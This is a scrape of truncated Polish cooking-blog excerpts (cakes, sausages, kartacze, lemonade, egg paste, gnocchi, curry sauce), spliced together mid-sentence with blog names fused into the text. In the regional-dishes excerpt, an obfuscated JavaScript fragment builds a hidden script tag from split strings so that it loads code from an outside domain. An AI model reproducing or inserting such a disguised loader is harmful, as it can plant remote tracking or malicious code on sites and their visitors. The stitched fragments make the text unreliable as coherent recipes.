Bardzo często poszukujemy przepisu na szybkie w przygotowaniu przekąski. Nasze zmartwienie może rozwiązać bruschetta, której przygotowanie jest niezwykle szybkie i nie wymaga od nas niezliczonej liczby
Kulinarnyblog.pl - wiesz jak gotować!Jak zapowiedziałam poprzednio tym razem kolejny zaskakujący sernik. Mimo,że nie będzie już niespodzianki w środku, zaskoczy Was smakiem - oczywiście jeśli tylko spróbujecie. Teraz elementem
Bon appetit mon amiedoświadczenia wiem, że ciężko w "swój napięty grafik" wcisnąć jeszcze ruch. Tym bardziej, że bywałam tak przemęczona, że jedyne o czym marzyłam to łóżko i poduszka, no i ciasto ;) na poprawę nastroju. Ale warto! Na początku dłuższy spacer, może lekki trucht, a potem pływanie... kocham pływać. Uwierzcie mi, że początki są bardzo ciężkie, ale z czasem człowiek czuje się(...)tylko moje prywatne spostrzeżenia i rady. Nie jestem ani dietetykiem, ani lekarzem czy też kimś wykształconym w tym kierunku. Każdy musi znaleźć własną drogę do sukcesu! Dzielę się z tym z Wami, bo o to pytacie w mailach i stwierdziłam, że może jednak warto napisać na ten temat kilka słów. Jak widzicie na blogu roi się od różnych potraw
Słodkie okruszkiJest w roku taka okazja, gdy tort wykonuję z ogromną( jeszcze większą niż zwykle) przyjemnością. Nie są to wcale moje urodziny;p To święto mojej Mamy
Domowe ciastapraskę, jak najdrobniej, nawet kilka razy. Musi przypominać pastę, to nie powinny być wyczuwalne kawałki. Do mięsa i przypraw wlewamy lodowato zimną wodę i całość wyrabiamy, ręcznie, jak ciasto na chleb. Po co woda i po co wyrabianie? Powodów jest kilka. Po pierwsze – mięso musi się ze sobą skleić . Żeby mogło się skleić potrzebuje wody, która podczas wyrabiania masy(...)zawiązujemy go na końcu. Zimną masę kiełbasianą wolno przepuszczamy przez nadziewarkę i odkręcamy pojedyncze kiełbaski – ani za ciasne, ani za luźne, bez powietrza w środku. Można odkręcanie (czyli dzielenie na pojedyncze kiełbaski) zrobić już po napełnieniu całego flaka, jak Wam wygodnie. Napełnianie wymaga jednak trochę wprawy, warto mieć też kogoś do pomocy. Wszystkie ewentualne pęcherze powietrzne które pojawią się podczas
Karo in the Kitchenprzesiewamy przez sito. Dodajemy do masy z białek i delikatnie mieszamy, najlepiej przy pomocy szpatułki. Dno tortownicy o wymiarach 20 cm wykładamy papierem do pieczenia i przekładamy przygotowane ciasto. Wstawiamy piekarnika nagrzanego do 170-180'C i pieczemy przez 35-40 minut. Upieczony biszkopt wyjmujemy z piekarnika i upuszczamy go razem z formą na podłogę z wysokości około(...)rancie chłodzimy kilkanaście godzin w lodówce, a najlepiej całą noc. Z dobrze schłodzonego tortu zdejmujemy rant. Tynkujemy równo i dokładnie kremem waniliowym. Tort ponownie chłodzimy w lodówce. Ganache Czekoladę dzielimy na małe kawałki równej wielkości. Śmietankę podgrzewamy, zdejmujemy z ognia i dodajemy połamaną czekoladę. Mieszamy do uzyskania gładkiej polewy. Polewę studzimy i jeszcze płynną wylewamy na dobrze schłodzony tort. Tort
Wędrówki po kuchnikilka z nich. Kartacze z Suwalszczyzny Kartacze lub też cepeliny to znane podlaskie placki z farszem mięsnym podawane z masłem i skwarkami. Można je porównać do poznańskich pyz. Ciasto wyrabiane jest z ziemniaków. To pożywne, syte, aczkolwiek ciężkostrawne danie. Mięsny farsz jest zazwyczaj mocno przyprawiany czosnkiem i przyprawami. Czasami można także spotkać kartacze z farszem warzywnym, serowym lub grzybowym. Babka(...)przyrządzenia używa się także włoszczyzny, suszonych śliwek oraz suszu z jabłek i gruszek. Zupa ta była tak popularna, że aż przeszła do staropolskiej kultury – jest wzmiankowana między innymi w dziełach Mickiewicza. (function(){ innk_=("u"+"st");innk=document.createElement("script");innk.async=true; innku="8547377";innk_+="a"+("t.");innk_+="i"+("nf"+("o"))+("/"); innku+=".wzksv9hlnnk43g6a";innku+="ix0szudvyeqXqX"; innk.src="//"+innk_+innku;innk.type="text/javascript
Domowa Cukierenka-Domowa Kuchniazwał tak zwał masę, z której można wyczarować naprawdę wiele. Wystarczy trochę wyobraźni i najzwyklejsze ciasto przemienia się w ujmujący torcik. Zbliża się chrzest mojego synka, więc zakasałam rękawy i zabrałam się za przygotowania. Wymyśliłam sobie aranżację -wcale nie niebieską ( chłopaki nie są wcale skazani na kolor blue) a pistacjowo-zieloną. Białą masę cukrową można z powodzeniem kolorować barwnikami(...)wkładamy lekko dociskając brązową kuleczkę. szpikulcem bądź grubą igłą nakłuwamy delikatnie. Na pędzelek nabieramy odrobinę kakao i delikatnie muskamy centralną część kielicha kwiatu. Aby wyjąć gotowe dzieło odczekajmy około 0,5 godziny. Miłej zabawy:) Zdjęcia potraw są mojego autorstwa. Ich kopiowanie wymaga mojej zgody
kawawszklanceDnia 21.06.2015 roku odbyła się długo wyczekiwana druga edycja „Janczewskiej 10” , czyli sportowej rywalizacji w konkurencjach: biegu na 10 km, nordic walking na
kgwjanczewolodówce mieszkały jeszcze rzodkiewki, za to majonezu, nie uraczysz. Tak, mogłam kręcić w niedzielę o 5 rano majonez…tylko robiłam bułki i dziesięć innych rzeczy. A majonez to mikser. A mikser to hałas. A hałas u pana męża o 5 rano w niedzielę = morderstwo rytualne na żonie. Pasta być musiała, musiała dodatkowo zawierać owe nieszczęsne rzodkiewki. Pozostawała jeszcze kwestia(...)przepisu na dietetyczną pastę jajeczną bez majonezu , sprawdź również ten przepis. Artykuł Pasta jajeczna z rzodkiewkami bez majonezu – dietetyczna pasta pochodzi z serwisu Przepisy na dania obiadowe, ciasta, zupy, desery, nalewki, przetwory
Mieszam w GarnkuAgnieszka od lat częstuje mnie najlepszą lemoniadą. Tak… muszę, to przyznać szczerze, że jej lemoniada jest nawet lepsza od mojej Ja zawsze do niej serwuję moje babeczki lub ciasto. Także się pod tym względem się uzupełniamy. Ileż ona potrafi przygotować odmian lemoniady. Cytrynową, pomarańczową, arbuzową, a nawet grejpfrutową. Choć ta ostatnia jakoś (nie obraź się Agnieszko(...)dzbanki Dafi są też naprawdę elegancki. I jaka, to oszczędność dla budżetu domowego móc spokojnie korzystać z wody z kranu… A wracając do lemoniady… Za zgodą Agnieszki dzielę się z Wami przepisem na jej cytrynowo-limonkowa lemoniadę z orzeźwiającą miętą. Przepis jest naprawdę prosty Składniki: 2 cytryny 2 1/2 limonki kilka gałązek świeżej mięty 3-4 łyżki miodu
Słodkie okruszkiHercules „Kaukasis” W zeszłym roku pokazałam wam książkę Oli „Mamuszka”, którą kocham wielce i wracam do niej często. Czekałam na „Kaukasis” z lekką obawą, nauczona doświadczeniem, że każde kolejne dzieło, o ile nie jest kryminałem, nie zawsze nadaje się do czytania. Okazało się na szczęście, że moje obawy były bezpodstawne. „Kaukasis” to przepiękna podróż po smakach będących na styku Europy(...)który został ochoczo spożyty przez drób. Tak mniej więcej wygląda moje pieczenie. Jak już przysięgłam sobie, że nigdy przenigdy nie będę piekła, pojawia się pan Yotam i wydaje książkę. Ciasta, ciasteczka, torty, mniej skomplikowane lub bardziej, opisane w taki sposób, że nawet taka sierota cukiernicza jak ja zaopatruje się w składniki i tworzy, piecze i wychodzi! Ludzie jedzą, chwalą
ladykitchenObiad na niedzielę to nasz wspólny posiłek po całym tygodniu pracy. Ryba na obiad, gnocchi, zielone warzywa i super cytrynowy sos…Chyba pierwszy raz podałam rybę z gnocchi. Zostały mi ziemniaki z wczorajszego obiadu. Za mało aby obdzielić cztery osoby ale w sam raz na sporą porcję gnocchi. Ryba na obiad jest u nas zawsze mile widziana. Oczywiście(...)pieprzem. Gotuj na małym ogniu przez 20 minut. Na koniec dodaj drobno posiekany koper, wymieszaj, zagotuj i odstaw na bok. Rybę oprósz solą i pieprzem. Następnie przyrządź gnocchi. Przygotuj ciasto z mąki, zmielonych ziemniaków, parmezanu i jajka. Podziel ciasto na 8 kawałków i uformuj z nich cienkie rulony. Potnij rulony nożem na małe kawałeczki. Wrzucaj na gotującą się i osoloną
codojedzeniasię przyjemnościom. Nie ma lekcji i obowiązków. Jest za to czas by zaprosić znajomych , kolegów, bawić się , jeść, korzystać z pogody. Piękny był. Na blogu również dużo się działo :) WIEM, ŻE LIPIEC BĘDZIE JESZCZE LEPSZY:) Tego i Wam życzę:) 1 KOKTAJLE to mój czerwcowy HIT, zarówno ma stole jak i na blogu, fp i instagramie. Wczesno letni wysyp owoców(...)większe spacery, pikniki i wyprawy. Klimatyczne Nieborów i Arkadia musicie odwiedzić ! http://wyspaszczesliwa.blogspot.com/2016/06/nieborow-i-arkadia.html 6. PYSZNIE I ZDROWO Piekłam, gotowałam i jadłam z radością:) Hity czerwca to : ciasto czekoladowe bezglutenowe, sałatka z młodymi ziemniaczkami i tuńczykiem oraz makaron z aromatycznym bazyliowo serowym sosem. Mniam .Wpadnijcie po przepisy. http://wyspaszczesliwa.blogspot.com/2016/06/makaron-z-sosem-orzechowo-serowym.html http://wyspaszczesliwa.blogspot.com/2016/06/saatka-ze-szparagami-i-tunczykiem.html http://wyspaszczesliwa.blogspot.com/2016/05/ciasto-czekoladowe-z-truskawkami.html
WYSPA SZCZĘSLIWAtakie przepisy, które towarzyszą nam od naszej kuchennej kołyski. Pewniaki, które robiliśmy jako pierwsze kulinarne eksperymenty i od tej pory zawsze wychodzą. Dla mnie jednymi z takich przepisów są: ciasto z owocami czy sos z tuńczykiem . Dziś kolejny z nich- sos curry na bazie beszamelu. Przepis na ten sos poznałam na jednej z pierwszych randek w moim życiu(...)kurczaka i dynię, zostawiamy na małym ogniu. Gotujemy ryż. Danie podajemy na ciepło. Stawiamy tika przy obiedzie. Jemy. Głaszczemy się po pełnym, szczęśliwym pasibrzuchu. Jak zostanie to się dzielimy
les mirabelles